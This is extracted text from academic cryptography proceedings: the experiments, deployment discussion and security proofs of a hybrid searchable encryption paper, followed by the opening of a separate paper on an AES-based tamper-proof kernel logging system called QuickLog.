sse,i (op,w, f )} otherwise.

It is possible to hide UpHist(i,w)
?
= /0 if the writer follows

the selective rebuild strategy, i.e., no ICKAE ciphertext is

generated during updates, and only E-DSSE search tokens for

the searchable updates are encrypted during rebuilding.

Leakage-Abuse Attacks and Mitigation. Some early en-

crypted search solutions rely on property-preserving encryp-

tion, which suffer from statistical or ground-truth attacks. Af-

terward, most leakage-abuse attacks target SSE schemes for

range queries (e.g., see [38]), which is out of our scope.

Recent attacks [6, 32] do not require strong knowledge as-

sumptions on plaintext data, but the volume pattern is essential

for their accuracy. The modular design of HSE makes it com-

patible with the evolving volume-hiding DSSE [25, 37]. For

example, the padding and batch-update approaches [37] work

with our FP-HSE, as we could treat the updates of each epoch

as a batch of updates. Meanwhile, leakage-suppression tech-

niques [23] are proposed, which generically apply to DSSE.

7 Experiment and Deployment

We implement G-HSE and FP-HSE in Python. We instantiate

DSSE and IBE for G-HSE with a dynamic variant of Πbas [13]

and Boneh–Franklin IBE [8], respectively. PRFs and keyed

hash functions are instantiated with HMAC-SHA-256. We

8For (level-II) backward privacy [11] , one can generally follow the two-

roundtrip approach used by prior DSSE schemes [11, 14]: the writer updates

with PKE.Enc(op|| f )||x instead of (op|| f ||x), with PKE being set up by the

reader. The reader could remove deleted files locally after decrypting.

use PyCrypto 2.6.1 and Charm 0.50 library (charm-crypto.io)

for cryptographic operations and MNT224 curve for pairings

with a 96-bit security level. Our platform is Ubuntu 16.04 run-

ning over Intel Core i7-4790 3.60GHz CPU, 16GB RAM, and

1TB HDD. Results are averaged over 10 independent runs.

7.1 Performance over Real-World Datasets

Dataset. To echo our motivating applications of HSE, we start

with evaluations over three real-world multi-writer datasets

used by prior security and privacy research [14, 28, 31, 32].

Diabetes Dataset (EHR) [36]. 130 US hospitals contribute

101766 patient records. For each record, we consider the com-

bination of sex (binary) and age interval (10 years each) as

its keyword and the rest as its data. No time information was

provided; we evolve the epoch every 1000 updates of records.

Room Climate Dataset (Sensor) [31]. It contains 540364

records of human activities under continuous measurements

of room climate information, collected by 12 IoT sensors lo-

cated in different places. We consider the climate data (i.e.,

temperature and relative humidity) as keywords after rounded

up to the nearest integer. The epoch advances every hour.

Enron Email Dataset [1]. It consists of 5.1 ·105 emails sent

by 146 employees. We let each employee/writer keep an ac-

tive keyword space of the top 100 most frequent keywords

(excluding stop words), resulting in a dataset with 3112196

keyword-email pairs. The epoch advances every month.

For comparison, we evaluate PKSE [2] and SPCHS [39]

as baseline multi-writer solutions9. We only generate the

searchable ciphertexts of keywords for them, as payload en-

cryption is inexplicit in the original works. We stress again

that SPCHS has neither forward privacy nor confined search.

HSE, providing both, still shows its superiority in efficiency.

Build and Update. For the encrypted database generation,

Figure 7 shows HSE surpasses SPCHS and PKSE by orders

of magnitude. Concretely, FP-HSE is 23× (resp. 20×) for

EHR, 98× (resp. 82×) for Sensor, and 75× (resp. 71×) for

Enron, faster than SPCHS (resp. PKSE), yet a bit slower than

G-HSE (see Section 7.2). It also reflects the update efficiency

of HSE as we parse the procedure as updates on records.

Search. The reader can select arbitrary subsets of writers to

search. Figure 8 evaluates the search performance with vary-

ing subset sizes. The search time of all schemes increases with

the subset size since the sum of records, the number of ac-

tive keywords, and the result size grow accordingly. FP-HSE

outperforms SPCHS (resp. PKSE) by 3.6× (resp. 34×) for

EHR, 18× (resp. 772×) for Sensor, and 2.4× (resp. 213×)

for Enron. G-HSE is even faster because IBE takes one less

pairing operation than ICKAE for decryption.

9We omit FP-PKSE [40] as it is even slower than PKSE [2] by orders of

magnitude. We follow the new-ibe-2-peks transform [2] to construct PKSE,

which simultaneously encrypts random messages for consistency.
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Evidently, HSE is more suitable for real-world VLDB ap-

plications where the data size per keyword is huge.

Other parameters, i.e., the result size and the number of

active keywords, are not necessarily correlated (e.g., a large

result size of a keyword does not mean more active keywords).

We will study their influences on HSE with synthetic datasets.

Rebuild. To rebuild, FP-HSE only pays ∼395ms for EHR,

∼505ms for Sensor, and∼1.79s for Enron per writer, depend-

ing on their active keywords. The cost of enjoying confined

search and forward privacy in FP-HSE is quite affordable.

7.2 Performance over Synthetic Datasets

Parameters of Interest. We consider how sizes of the active

keyword set per writer |K|, target writer subset |S|, search re-

sults |R|, and the database |DB| influence HSE’s performance.

Dataset. Our synthetic databases contain 104
−107 records.

The keyword space is set to one-hundredth of the database

size. Unless otherwise specified, we define a set of classes

with a fixed size n = 500, namely, 500 writers in the scheme,

and assume each writer contributes an equal number of ran-

dom records to the database, including those to be searched.

Especially for FP-HSE, the random records are inserted into

the database at randomly chosen epochs from 1 to 1000.

Search. We measure the search time of G-HSE and FP-HSE.

Figure 9 splits the time into reader-side (G-HSE/FP-HSE-r)

and server-side (G-HSE/FP-HSE-s) for a clear illustration. In

practice, the server-side searching can be parallelizable as the

encrypted token sets and the databases can be categorized ac-

cording to the classes/writers. The search time will be shorter

with multi-thread techniques. Our evaluation solely reflects

the performance with no industrial optimizations.

Number of Active Keywords Per Writer. Figure 9a shows how

search time changes with the number of active keywords per

writer. We let each writer encrypt a varying number |K| ∈

{50,100,150,200,250} of keywords, with fixed |S| = 100,

|R|= 105, and |DB|= 107. For both schemes, the server takes

more time for a larger |K| due to the larger encrypted token

sets, while reader overheads are independent of |K|.

Subset Size. Figure 9b shows the search time for different sub-

set sizes |S| ∈ {50,100,150,200,250} of writers, with fixed

|K|= 100, |R|= 105, and |DB|= 107. The reader-side search

time increases with |S| for traversing more encrypted tokens.

It is lower in FP-HSE than G-HSE, which reflects the time

saved in SrchTkn() for extracting an aggregate ICKAE key

for subset S (in FP-HSE) versus |S| IBE decryption keys (in

G-HSE). Precisely, ICKAE.Ext() needs two exponentiations

and |S| multiplications, while |S| IBE key extraction [8] takes

|S| exponentiations. Figures 9a, 9c, and 9d also show this

reduction. ICKAE makes HSE efficient for the reader.

Result Size. Figure 9c shows the search time for different re-

sult sizes |R| ∈ {102
,103

,104
,105

,106
}, with fixed |K|= 100,

|S|= 100, and |DB|= 107. For both schemes, the server-side

search overheads are dominated by IBE/ICKAE decryptions

until the result size becomes extremely large (over 105). The

reader-side overhead is independent of |R|.
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Database Size. Figure 9d confirms that the search time is

independent of the database sizes |DB| ∈ {105
,5 ·105

,106
,5 ·

106
,107
}, fixing |S|= 100, |K|= 100, and |R|= 103.

Update and Rebuild. Figure 10a shows the time of a single

update for databases with {104
,105

,106
,107
} records and a

fixed class size n = 500. We consider two cases: 1) the key-

word is new for the class (G-HSE/FP-HSE-new); 2) the search

token of the keyword exists (G-HSE/FP-HSE-exist). This is

to confirm the advantage that UpdtTkn() of both G-HSE and

FP-HSE do not repeatedly encrypt the same search token.

The update overheads for both (FP-HSE/G-HSE) are inde-

pendent of the database. “G-HSE-exist” and “FP-HSE-exist”

reflect the update time of underlying DSSE schemes, which

are almost the same. Considering IBE and ICKAE encryption

for new search tokens, “FP-HSE-new” is only 6ms slower

than “G-HSE-new.” Such a tiny difference is acceptable to

the individual writer and necessary to benefit other aspects

of FP-HSE, particularly, the compact token and the reduction

in search time for the reader, as we emphasized above. The

baseline is, they are both in the order of milliseconds (ms).

Lastly, we consider the rebuild procedure of FP-HSE,

which contributes to saving search time on top of forward

privacy. Setting n = 100, we measure the rebuild time per

writer with a varying number of active keywords per writer

|K| ∈ {20,40,60,80,100} over databases of size |DB| ∈

{104
,105

,106
,107
}. As Figure 10b shows, the rebuild time

per writer is linear in the number of his/her active keywords,

independent of the database size (from overlapping curves).

Concluding Remarks. For the reader, the search of FP-HSE

is faster than G-HSE at a tiny cost in the update time of writ-

ers. The rebuild time for FP-HSE depends on the number of

keywords of individual writers and is acceptable in practice.

In short, our evaluations show that both G-HSE and FP-HSE

provide a favorable level of search and update efficiency.

7.3 Applications and Deployment

The efficiency of HSE, as shown by our experiments (e.g.,

over Enron), makes it applicable to scenarios valuing timeli-

ness, e.g., secure messaging/email. To search over (encrypted)

messages from different contacts, current practices require

a client to download or store all messages. HSE improves it

with quick searches confined to only writers of interest.

HSE benefits data-sharing over sensitive information con-

tributed by different parties. It generalizes to novel applica-

tions, e.g., collective intelligence and crowdsourcing, where a

reader makes decisions upon data from different sources in a

secure way. In short, HSE extends the original vision of struc-

tured encryption [15] for supporting controlled disclosure.

We discuss HSE deployment for health records, which de-

sires encrypted databases. We consider a hierarchical structure

for this scenario: each hospital builds a local HSE database

with clinical data from its affiliated doctors, while the hospital

authority sets up a global one with records contributed by

multiple hospitals (after pretreatments). Each doctor/hospital

independently writes to the local/global database via HSE up-

dates. A search interface provided by the hospital/authority en-

ables doctors/researchers to read records from the local/global

database for better diagnoses/contact-tracing analyses. With

forward privacy and confined search, no (sensitive) informa-

tion beyond what is intended to share will be revealed.

8 Final Remarks and Future Research

We formulate hybrid searchable encryption (HSE) for the

sublinear search complexity in symmetric searchable encryp-

tion (SSE) and the support of multiple writers in public-key

searchable encryption (PKSE). Utilizing the two new building

blocks E-DSSE and ICKAE, our HSE instantiation features

epoch-based forward privacy and constant-size search tokens.

Compared with PKSE that traverses the whole encrypted

database, we reduce the number of costly IBE/ICKAE decrypt

operations to the number of distinct keywords encrypted by

the writers targeted by a search. Such dependency is arguably

intrinsic. When keywords form the basis for the keyword

search, without any writer pre-establishing (unique) secret

material with the reader, the multiple writers need to public-

key encrypt independently, differentiating their ciphertexts

from others for the confined search requirement. We see our

work making searchable encryption more deployable and as

a foundation for extensions to more functionalities.

As a new paradigm, there are many interesting questions

to explore. One might explore how to conduct secure dedupli-

cation (e.g., via message-locked encryption [42]) across HSE

databases with entries contributed by different writers, e.g.,

when a patient sought medical advice from different hospitals.

For key rotation in the worry of key compromise, we can

generalize our epoch-based definition to capture the epoch

evolution it triggers. To our knowledge, no prior study con-

siders efficient key rotation for searchable encryption.

For foundational issues, it would be interesting to formulate

an epoch-based version of backward privacy, which might

inspire new directions in the ongoing research of backward

privacy. For example, one may investigate non-interactive and

efficient techniques for different flavors of backward privacy.

In the broader context of cryptography, we did not explore

hierarchical ICKAE due to space limitation, which would be

useful in various applications [4,7,17,18], particularly epoch-

based revocation. Another direction is to devise ICKAE in

the standard model without the restriction on key extraction

query and/or equipped with both function privacy [9] and

anonymous-ciphertext indistinguishability [16].

We focus on showcasing a new approach to multi-writer

searchable encryption. With our E-DSSE, the next to inves-

tigate is devising an ICKAE scheme “compatible” with the

SPCHS paradigm, further boosting the efficiency of HSE.

Finally, it is interesting to explore alternative formulations

of multi-writer searchable encryption with sublinear search.
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A Security Proof of ICKAE (Theorem 2)

Given an IND-CPA adversary A , we build B below that solves

the n-bilinear Diffie-Hellman exponent (n-BDHE) problem,

i.e., computes [rα
n+1

]t from ([r]2,
{

[α
i
]1, [α

i
]2

}

i∈[2n]\{n+1}
).

1. Sample î←$ [n], s,ζ←$ Zp. Initialize an empty map TH .

2. Set [δ]2 := s[α]2 (i.e., δ = sα) and [γ]2 := [ζ]2− [α
î
]2.

3. Set pk := ([γ]2, [δ]2). Compute [α
n+1

]t = [α]1[α
n
]2.

4. Set param := (

{

[α
i
]1, [α

i
]2

}

i∈[2n]\{n+1}
, [α

n+1
]t).

5. Simulate the oracle G by lazy programming, i.e., on a

new query [u]t , return G([u]t) := v where v←$ {0,1}λ.

6. Upon H query on (idk,b):

(a) If ((idk,b), [h]1,x,d,θ) exists in TH , return [h]1.

(b) Else if ((idk, b̄), ·, ·,d
′
, ·) exists in TH , set d = d̄′.

(c) If idk never exists in TH , flip a fair coin that outputs

a bit d = 1 with probability 1/2, d = 0 otherwise.

(d) Finally, pick x←$ Zp.

i. If d = 1, flip a coin that outputs a bit θ = 1

with probability ρ, 0 otherwise. If θ= 1, return

[h]1 := (1/s)[αn
+ x]1. If θ = 0, return [x]1.

ii. If d = 0, set θ =⊥, return [h]1 := [x]1.

Record ((idk,b), [h]1,x,d,θ) in the map TH .

7. Upon ExtO query on S⊆ [n] and idk, first issue H queries

for (idk,0) and (idk,1) to ensure that they exist in TH .

(a) If î /∈ S, get ((idk,b), [h]1,x,0,θ) from TH , return

ak := ζ∑ j∈S[α
n+1− j

]1−∑ j∈S[α
n+1+î− j

]1+sx[α]1

and b. Since î /∈ S, ak can be computed from param.

(b) If î ∈ S, retrieve ((idk,b), [h]1,x,1,θ) from TH .

If θ = 1, [h]1 = (1/s)[αn
+ x]1, return ak :=

ζ∑ j∈S[α
n+1− j

]1 − ∑ j∈S\{î}[α
n+1+î− j

]1 + x[α]1,

which is ζ∑ j∈S[α
n+1− j

]1 − ∑ j∈S[α
n+1+î− j

]1 +

[α
n+1

]1 + x[α]1 = γ∑ j∈S[α
n+1− j

]1 + δ[h]1, and b.

If θ = 0, abort and output a random Gt element.

8. Receive (st,m0,m1, i
∗
, id∗)← AExtO

(pk).

9. If î ̸= i∗, abort and output a random Gt element.

10. First query for H(id∗,0) and H(id∗,1) to obtain from TH

((id∗,0), [h∗0]1,x
∗
0,d
∗
0 ,θ0) and (id∗,1), [h∗1]1,x

∗
1,d
∗
1 ,θ1).

11. If (d∗b∗ = 1)∧ (θb∗ = 1) for some b∗ ∈ {0,1}, abort.

12. Simulate the ciphertext as follows.
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(a) Sample b←${0,1}. Set [c1]2 := [r]2, [c2]2 := ζ[r]2.

([r(γ+α
i∗
)]2 = [r(ζ−α

i∗
+α

i∗
)]2 = [rζ]2.)

(b) Set c3,d :=mb⊕v∗d with v∗d←$ {0,1}λ, ∀d ∈ {0,1}.

(c) Return c∗ := ([c1]2, [c2]2,c3,0,c3,1).

13. Receive b′← AExtO
(st,c∗).

14. Randomly pick one query [u∗]t to the G oracle.

15. Output [u∗]t + sx∗
b′
[α]1[r]2.

If B does not abort, it simulates the IND-CPA experiment

for A perfectly. For A to win the game, A must have queried G

on [rα
n+1

]t − sx∗
b′
[α]1[r]2 because sx∗

b′
[α]1[r]2 = r[h∗

b′
]1[δ]2,

which matches how encryption is done, for otherwise b is

information-theoretically hidden from A . B can therefore ex-

tract [rα
n+1

]t as an n-BDHE solution, with probability 1/qG,

where qG is the number of oracle queries to G that A made.

Now it remains to analyze the probability that B does not

abort. For an ExtO query (S, idk), no matter whether î ∈ S or

not, there is at most one kind of random-oracle assignment

H(idk,b) depending on a bit d that does not lead to abortion.

Firstly, d is chosen by a fair coin independent of b. By con-

struction, only the key for a particular bit b will be returned.

Due to the restriction that each idk can only appear once as

part of an ExtO query, if such a query does not abort, the other

abortion case for the same query would never happen.

An ExtO query (S, idk) only aborts when î ∈ S and

((idk,b), [h]1,x,1,θ = 1) exists in TH , which happens with

probability at most (1− ρ). B can simulate the challenge

ciphertext when (î = i∗) ∧ (θb∗ = 0) for b∗ s.t. d∗b∗ = 1,

which happens with probability (1−ρ)/n. When there are at

most qE ExtO queries, B simulates faithfully with probabil-

ity ρ
qE
(1−ρ)/n, which is maximized at ρ = 1−1/(qE+1),

leading to the probability of at least 1/ne(1+qE) for large qE.

There is an alternative simulation with probability ρ = 1

(i.e., oracle H always picks θ = 1) and the rule of “If (d∗b∗ =

1)∧ (θb∗ = 1) for some b∗ ∈ {0,1}, abort.” removed. In the

original simulation, both c3,d terms for d ∈ {0,1} in the chal-

lenge ciphertext involve hashing the n-BDHE solution with

G(). With the changed simulation, while all key extraction

queries can be answered, one of the c3,d terms does not involve

the n-BDHE solution. However, when the internal variable

d∗b∗ corresponding to either oracle H’s responses [h∗0]1 or [h∗0]1
is information-theoretically hidden, the chance for A to figure

out b via asking the “bad” query to oracle G is at most 1/2.

B Security Proof of E-DSSE (Theorem 3)

We derive a hybrid sequence from the real game RealA(1
λ
) to

the ideal hybrid IdealA ,S ,L(1
λ
). By showing that each game

(except the first) is indistinguishable from its previous one,

we conclude that the adversary cannot distinguish RealA(1
λ
)

from IdealA ,S ,L(1
λ
) with non-negligible probability.

We assume that the adversary A makes at most q1 and q2

queries to H1 oracle and H2 oracle, respectively. The output

length of H1, H2, and PRF F are µ1, µ2, and λ, respectively.

We denote F(k,w||e) by kw,e for ease of interpretation.

Hybrid0: As Real, Pr[Hybrid0 = 1] = Pr[RealA(1
λ
) = 1].

Hybrid1: Instead of invoking F with k to generate kw,e,

Hybrid1 randomly picks a λ-bit string when given a new

query of w||e and stores it in a map Tw,e to answer the same

query next time. If A can distinguish Hybrid0 from Hybrid1,

we can build a reduction to distinguish between a pseudoran-

dom function and a truly random function.

Hybrid2: Instead of querying H1(kw,e||Tct[w]) for addr,

Hybrid2 picks a random µ1-bit string and stores it in

Taddr[kw,e||Tct[w]] if w ̸∈WSrch(e). Taddr[kw,e||Tct[w]] will be

returned whenever kw,e||Tct[w] is queried for this case.

Otherwise, w has been searched at epoch e, and kw,e has

been revealed. Hybrid2 checks whether kw,e||Tct[w] ex-

ists in table H1 for the random oracle H1 and programs

H1[kw,e||Tct[w]] with a random µ1-bit string if it is not.

H1[kw,e||Tct[w]] will be returned for this case.

For the first search of the keyword at an epoch, pro-

gram H1[se||ct] := Taddr[se||ct] for ct = 1,2, . . ., until

Taddr[se||ct] = ⊥. The search token se is generated in the

same way as kw,e during the update. The procedure repeats

for all unprogrammed entries regarding se updated previously.

For the case when w has been searched at epoch e, since all

subsequent entries related to kw,e can be programmed immedi-

ately, A observes no inconsistency. For the other case, addr for

kw,e||Tct[w] is generated, but H1 will not be programmed until

the next search of w. If A queries H1 for kw,e||Tct[w] before

such searches, the returned value, as a randomly picked µ1-bit

string, will have an overwhelming probability to be different

from the one programmed for H1[kw,e||ct] (i.e., H1[se||ct])

later during the search. As Hybrid2 is the same as Hybrid1

except when the above inconsistency (denoted by BAD) is

observed, Pr[Hybrid1 = 1]−Pr[Hybrid2 = 1]≤ Pr[BAD].

Since se / kw,e is a random λ-bit string, the probability that

the adversary queries H1 for it equals 2−λ. Since A makes at

most q1 queries to the H1 oracle, we have Pr[BAD]≤ q1/2λ,

i.e., Hybrid1 and Hybrid2 are indistinguishable.

Hybrid3: Instead of querying H2 at kw,e||Tct[w] for com-

puting val := (op|| f ||x)⊕H2(kw,e||Tct[w]), Hybrid3 picks a

µ2-bit string and stores it in Tval[kw,e||Tct[w]], if w ̸∈WSrch(e).

Tval[kw,e||Tct[w]] will be returned for this case.

Otherwise, w has been searched at epoch e and kw,e has

been revealed. Hybrid3 checks whether kw,e||Tct[w] exists in

table H2 for H2 and programs H2[kw,e||Tct[w]] with a random

µ2-bit string if it is not. Return H2[kw,e||Tct[w]] for this case.

For the first search of the keyword at an epoch, H2 is pro-

grammed by setting H2[se||ct] :=Tval[se||ct] for ct= 1,2, . . .,

until Tval[se||ct] = ⊥. se is generated in the same way as

kw,e during the update. The procedure repeats for all unpro-

grammed entries regarding se updated previously.

Likewise, the probability that A discovers the inconsistency

of the random oracle H2 is at most q2/2λ, which is negligible.

Hybrid2 and Hybrid3 are thus indistinguishable.

Hybrid4: It is exactly Ideal, i.e., the simulator S generates

a view only based on L . LSrchTkn is a bit indicating whether

USENIX Association 31st USENIX Security Symposium    2387



the keyword was updated at prior epochs but not the cur-

rent one. LSrch contains search pattern sp and update history

UpHist. LUpdt is the same as LSrch if the keyword has been

searched at the current epoch; otherwise, it leaks nothing.

Different from Hybrid3, se / kw,e is randomly sampled dur-

ing search token generation. Meanwhile, S decides whether to

sample and include (addr,val) in s based on LSrchTkn. Instead

of mapping kw,e||Tct[w] to entries of Taddr and Tval, Hybrid4

maps the global timestamp when kw,e||Tct[w] is updated to

entries of two timestamp-indexed dictionaries, storing ran-

dom strings generated for addr and val respectively. During

the search, entries in random oracles regarding kw,e is pro-

grammed as per its timestamps, sp(w), and UpHist(w).

Hybrid3 and Hybrid4 are indistinguishable since both hy-

brids 1) for update, output two random strings (for addr and

val); and 2) for search, output se with the same distributions,

while (addr,val) (if provided in the search token) consists

of random strings programmed by the random oracle. Thus,

Pr[Hybrid3 = 1] = Pr[Hybrid4 = 1].

By combining the above (in)equalities, we have

|Pr[RealA(1
λ
) = 1]−Pr[IdealA ,S ,L(1

λ
) = 1]| ≤ negl(λ).

C Security Proof of FP-HSE (Theorem 4)

Let Lsse,i = {L
Stp
sse,i,L

SrchTkn
sse,i ,LSrch

sse,i ,L
Updt
sse,i } and Ssse,i be leak-

age functions and the simulator of the i-th E-DSSE instance

for i ∈ [n], respectively. The initially empty EDBi and ETkni

leak nothing. L
Stp
hse (n) only leaks the set of class identifiers.

With WSrch(i,e) = {w|(Srch,w,S,e) ∈ H ∧ i ∈ S} as the

set of keywords that has been searched at epoch e for writing

subset containing i, we parse the E-DSSE update leakage as

L
Updt
sse,i (op,w, f ) = /0, if w /∈WSrch(i,e); LSrch

sse,i (w), otherwise.

We derive a (q + 1)-hybrid sequence starting from

Hybrid0 = IND0
HSE, and the last hybrid Hybridq is exactly

IND1
HSE. For k ∈ {0, . . . ,q−1}, the only difference between

Hybridk and Hybridk+1 is that the oracle responds to the

(k+1)-th query in Hybridk with input b = 0, while respond-

ing to the (k+ 1)-th query in Hybridk+1 with input b = 1.

The oracles implicitly take the current epoch as an input.

We prove that A cannot distinguish IND0
HSE from IND1

HSE

with non-negligible probability by showing that each hybrid

(except the first) is indistinguishable from its previous.

For k ∈ {0, . . . ,q−1}, Histk+1 can fall into three cases:

(1) CorrOb on (i0, i1): It will only be answered when class

i = i0 = i1. Since the information related to the corrupted

class is revealed, it requires that the tuples updated by i (i.e.,

UpdtBy(i)) are the same for either b = 0 or b = 1. We have

Hybridk = Hybridk+1 as the views of A are identical.

(2)SrchOb on ({S j,w j,e} j∈{0,1}): As the target classes of

any search leaks, it will only be answered when S = S0 = S1.

As the keywords to be searched are revealed (due to the

delegation of ICKAE decryption key, similar to the case for

IBE), the oracle only answers the query when w0 and w1 are

identical, i.e., w = w0 = w1. In this case, the oracle simply

invokes the simulator Ssse,i with LSrch
sse,i (w) to simulate E-DSSE

search regarding E-DSSE search tokens of w encrypted with

ICKAE during previous UpdtO or rebuild. The challenger

returns the ICKAE decryption key of (S,w||e). Hybridk =

Hybridk+1, since the views of A are identical.

(3) UpdtOb on ({i j,op j,w j, f j,e} j∈{0,1}): The oracle an-

swers the queries when i = i0 = i1, as the class will be leaked

during update. Obviously, if i has been corrupted, A will

have the knowledge of the update tuples, and the oracle only

answers when two tuples are identical in this case.

Assume i has not been corrupted until timestamp k. When

only one of the keywords has been searched at current epoch e

(i.e., contained in WSrch(i,e)), it returns ⊥ as it results in dif-

ferent L
Updt
sse,i (recall the E-DSSE update leakage). Similarly,

the oracle returns ⊥ when only one of the keywords has been

updated before for leading to different UpHist(i,w)
?
= /0.

Depending on whether or not both keywords have been

searched over class i at current epoch e, there are two cases:

• If w0 ∈WSrch(i,e)∧w1 ∈WSrch(i,e), it is required that

their update leakages are identical, which is essentially

LSrch
sse,i as L

Updt
sse,i = LSrch

sse,i for this case. It typically requires

w0 = w1. The oracle invokes the E-DSSE simulator Ssse,i

with LSrch
sse,i (wb) to simulate usse.

• Otherwise, the oracle simply calls the E-DSSE simulator

Ssse,i with L
Updt
sse,i (op,wb, f ) = /0 to simulate usse.

In the above two cases, the oracle processes ssse differ-

ently depending on whether both keywords have been up-

dated: If UpHist(i,w0) = UpHist(i,w1) = /0, the oracle calls

the E-DSSE simulator Ssse,i to simulate i’s E-DSSE search

token with LSrchTkn
sse,i (wb) = 0. The token is ICKAE-encrypted

as c, treating wb||e as the identity; Otherwise, c :=⊥.

The indistinguishability between Hybridk and Hybridk+1

is guaranteed by IND-CPA and IND-ANON security of

ICKAE and Lsse-adaptive security of DSSE.

For EpochO (not explicitly included in H ), if any writer

refuses to rebuild at any epoch, nothing will be changed for A .

The rebuild essentially ICKAE-encrypts new search tokens

for keywords updated before. As it is invoked at (the start of)

a new epoch during which no keyword has been updated, the

E-DSSE simulator outputs search tokens with LSrchTkn
sse,i (wb)=

1. A cannot gain any non-negligible advantage from such a

step due to IND-CPA and IND-ANON security of ICKAE.

By repeating the above procedure for k ∈ [q−1], we con-

clude that A cannot distinguish Hybrid0 = IND0
HSE from

Hybridq = IND1
HSE. Thus FP-HSE is Lhse-adaptively-secure.

Forward privacy of HSE (Definition 8) constrains the up-

date leakage when updating keywords that have not been

searched at the same epoch. In FP-HSE, for this case (i.e.,

w /∈WSrch(i,e)), the leakage L
Updt
hse is {i,UpHist(i,w)

?
= /0},

fulfilling Definition 8. Thus, FP-HSE is forward-private.
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Abstract
System logs are crucial for forensic analysis, but to be useful,
they need to be tamper-proof. To protect the logs, a number
of secure logging systems have been proposed from both
academia and the industry. Unfortunately, except for the re-
cent KennyLoggings construction, all other logging systems
are broken by an attack of Paccagnella et al. (CCS 2020). In
this work, we build a secure logging system that improves
KennyLoggings in several fronts: adoptability, security, and
performance. Our key insight for performance gain is to use
AES on a fixed, known key. While this trick is widely used in
secure distributed computing, this is the first time it has found
an application in the area of symmetric-key cryptography.

1 Introduction

LOGGING MATTERS. Security breaches happen frequently,
with millions of victims and widespread damages [15]. To
investigate and recover from such incidents, people crucially
rely on system logs for information of system execution his-
tory; there is now a cottage industry on how to use system
logs for forensic analysis [25, 29, 32, 34]. Indeed, a recent
survey from VMware Carbon Black [44] reports that 75% of
the security specialists consider system logs to be the most
valuable artifact during an incident investigation. Due to this
demand, the global market of log management software is now
a billion-dollar business, and it keeps growing steadily [1].

LOGGING SYSTEMS ARE BROKEN. Still, logs are only use-
ful as long as attackers cannot tamper with them. But system
logs are usually the first target of an experienced attacker to
hide the traces of the intrusion. In the same VMware Carbon
Black survey above, 87% of the respondents indicate that log
tampering is a top evasion tactic.
To cope with the situation above, there have been a plethora
of secure logging systems, from both academia and the in-
dustry [14, 17, 19, 27, 33, 36, 37, 40, 43]. These solutions
either (i) produce integrity proofs for the logs and protect
the signing key via forward security [17, 36], or (ii) rely on

trusted hardware [27, 37]. In this line of research, the focus
is to give further utilities (such as public verifiability) or im-
prove performance. Security of these schemes is generally
not questioned; the consensus is that they work. Surprisingly,
in a recent work [38], Paccagnella et al. challenge this be-
lief, giving an attack that breaks all current logging systems
in Linux.

Specifically, there is often a non-negligible window of time
between (i) the moment that a system event occurs and its log
is generated, and (ii) the time when the log is committed and
becomes tamper-proof. Even worse, this time interval grows
with the system load. As a result, under an attack that causes
a burst of logging events, there is enough time for the attacker
to gain root privilege, and then undetectably modify the logs
of the intrusion activities before they are committed.

What causes those time intervals? In Linux, when a system
event occurs, the kernel creates a log message and puts it
in a queue. Later the log will be dequeued and sent to the
user space for a secure logging system to commit and store
in the log entries. For performance reason, messages in the
queue must be processed asynchronously, resulting in such
time intervals.

STATE OF THE ART: KENNYLOGGINGS. To thwart the at-
tack above, Paccagnella et al. suggest that a secure logging
system should operate within the kernel space, creating in-
tegrity proofs for logs before they are put in the queue. This
approach however imposes stringent performance require-
ments on the logging systems, excluding prior designs that are
based on public-key cryptography [33] or have non-constant
complexity [19, 40]. Paccagnella et al. thus opt to follow a
design of Bellare and Yee [14] for building KennyLoggings,
the first kernel-based secure logging system. Their bench-
marks show that KennyLoggings has just 8%–11% overhead
on log-intensive applications.

Conceptually, KennyLoggings produces integrity proofs for
log messages via a Message Authentication Code (MAC)
scheme. To ensure that an attack cannot steal a signing key,
once we sign for a message under the current key Ki, we

USENIX Association 31st USENIX Security Symposium    2389



derive a new key Ki+1← H(Ki) and erase Ki, where H is a
cryptographic hash function that is instantiated via Blake2 [4].
Instantiating the MAC scheme is however tricky, as log mes-
sages are usually short, but standard MAC schemes (such as
GMAC [21]) are only optimized for long data. Paccagnella et
al. thus opt to use SipHash [3], a dedicated MAC design for
short messages. To improve performance, instead of deriving
keys on the fly, KennyLoggings precomputes 200,000 keys
and refills when half of them are used and deleted.

COULD WE DO BETTER? Despite the impressive perfor-
mance statistics of KennyLoggings, a closer look reveals that
it still leaves much to be desired.

First, KennyLoggings is based on Blake2 and SipHash. While
these cryptographic tools have been used in a number
of software such as the Linux kernel, they are not NIST-
approved algorithms, preventing government agencies from
using KennyLoggings.1 It is therefore desirable to build an
AES-based alternative for better adoptability from govern-
ment agencies and companies.

Next, KennyLoggings may significantly increase the latency
of system calls in a busy multi-threading environment, from
40% to 53%, according to the benchmarks in [38].

In addition, due to the key precomputation, KennyLoggings
has to hoard 200,000 keys, occupying 3.2 MB in kernel mem-
ory. Storing lots of sensitive information makes it vulnerable
to side-channel attacks such as [31]. It is therefore advisable
to reduce the amount of keying material to a few hundred
bytes. Turning off key precomputation in KennyLoggings
however decreases the performance by 8.6% on average [38].

Also, KennyLoggings has to store an integrity proof per log
message, resulting in substantial overheads in storing the
logs and transmitting them to the auditor. In particular, while
KennyLoggings uses an 8B tag, the actual overhead is 19B
per message, because the binary tag is encoded as a 16B string
of ASCII characters, and there is an additional 3B label for
preserving the semantics of Linux Audit records. Given that
an average log message is roughly 378B [35], the storage over-
head of KennyLoggings is estimated to be around 5.14% [38].

Finally, while the signing and verification of KennyLoggings
are already fast, it is still desirable to rev up the speed of these
operations.

WARMUP: QUICKLOG. Following the blueprint in [14], we
first build QuickLog, an AES-based logging system whose
signing is on par with KennyLoggings, but its verification is
6–8 times faster. For example, it takes QuickLog just 73 ns
to verify a 256-byte log message, whereas KennyLoggings
needs about 529 ns. Moreover, QuickLog only has 32-byte
keying material, which is much easier to protect against
side-channel attacks. We note that our experimental server

1For example, according to NIST SP 800-175B [6], “when a federal
agency requires the use of cryptography (e.g., for encryption), an approved
algorithm must be used; approval is indicated by inclusion in a FIPS or SP.”

only supports 128-bit AES-NI; the performance gap between
QuickLog and KennyLoggings is likely to widen for latest
machines that support 512-bit VAES instructions.

There are several obstacles in building an AES-based logging
system whose performance is on par with KennyLoggings. As
mentioned earlier, log messages are usually short, but standard
blockcipher-based MAC schemes are not optimized on short
messages. Even worse, they have a relatively expensive setup
cost. In many MAC applications, this one-time cost can be
amortized over many uses under the same key. Unfortunately,
here we only sign one message per key, and thus we have to
pay the cost for every single use. Worse still, if we want to run
AES-NI from the Linux kernel, we have to save all floating-
